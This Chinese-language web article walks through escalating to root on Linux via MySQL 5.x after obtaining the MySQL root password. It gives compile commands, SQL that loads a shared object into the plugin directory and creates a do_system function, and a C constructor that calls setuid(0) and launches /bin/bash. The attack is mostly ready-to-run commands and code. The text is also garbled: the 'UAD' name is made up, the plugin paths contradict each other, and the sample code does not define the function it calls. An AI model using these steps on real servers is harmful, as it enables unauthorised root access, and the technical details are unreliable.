Linux下MySQL 5.x得到root密码后的另外一种利用方式是通过 MySQL 运行时加载自己编写的共享对象(Libraries)并执行其中的函数,以获取root权限。这种攻击方式也称为"UAD"(User-Defined Functions in Aggregate Deterministic Mode)攻击。以下是具体攻击步骤:
前提条件
- Linux环境中已经得到MySQL root账号的密码
- 已经将自己编写的共享对象(.so文件)上传到目标机器
步骤一:创建共享对象
在攻击者的Linux环境中使用以下命令生成共享对象:
gcc -g -c -fPIC -o exploittest.o exploittest.c
ld -shared -o exploittest.so exploittest.o
其中,exploittest.c 是编写好的共享库源码文件,exploittest.o 是编译好的目标文件,exploittest.so 是编译好的共享库文件。
步骤二:修改MySQL配置文件
在目标机器中找到MySQL的配置文件 my.cnf,通常存放在 /etc/mysql/my.cnf 或 /usr/local/mysql/etc/my.cnf 中。添加以下语句:
[mysqld]
plugin_dir=/tmp/
其中,/tmp/ 是共享库文件存放的路径。添加完之后,重启 MySQL 服务使其生效。
步骤三:上传共享对象
将步骤一中编译生成的共享库文件 exploittest.so 上传至目标机器存放共享库的路径(在本例中是 /tmp/ )下。
步骤四:连接MySQL
在目标机器中使用 root 权限连接 MySQL,输入以下 SQL 命令:
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo(line) values(load_file('/tmp/exploittest.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/exploittest.so';
其中,/usr/lib/mysql/plugin/ 是用于存放 MySQL 插件的目录。以上命令将共享库文件迁移到 MySQL 的插件目录下。
步骤五:执行恶意函数
使用以下 SQL 命令来执行攻击者编写的共享库文件中的函数,从而实现对 MySQL 数据库的控制:
mysql> create function do_system returns integer soname 'exploittest.so';
mysql> select do_system('whoami > /tmp/whoami.txt');
以上命令将当前 MySQL 进程的用户名输出到文件 /tmp/whoami.txt 中。
示例说明:
假设 MySQL 服务器所在的IP地址为10.0.0.1,攻击者成功获得root密码,并编写了如下C语言代码,用于获取当前用户权限:
#include<stdlib.h>
#include<stdio.h>
#include<unistd.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("/bin/bash");
}
攻击者在自己的Linux环境中生成共享对象 exploittest.so 并上传至10.0.0.1服务器的 /tmp/ 目录下。然后攻击者连接MySQL,执行以下命令:
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo(line) values(load_file('/tmp/exploittest.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/exploittest.so';
最后,攻击者使用以下命令执行攻击代码:
mysql> create function do_system returns integer soname 'exploittest.so';
mysql> select do_system();
此时,攻击者获得了目标服务器的root权限。
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:linux下mysql 5.x得到root密码后的另外一种利用方式 - Python技术站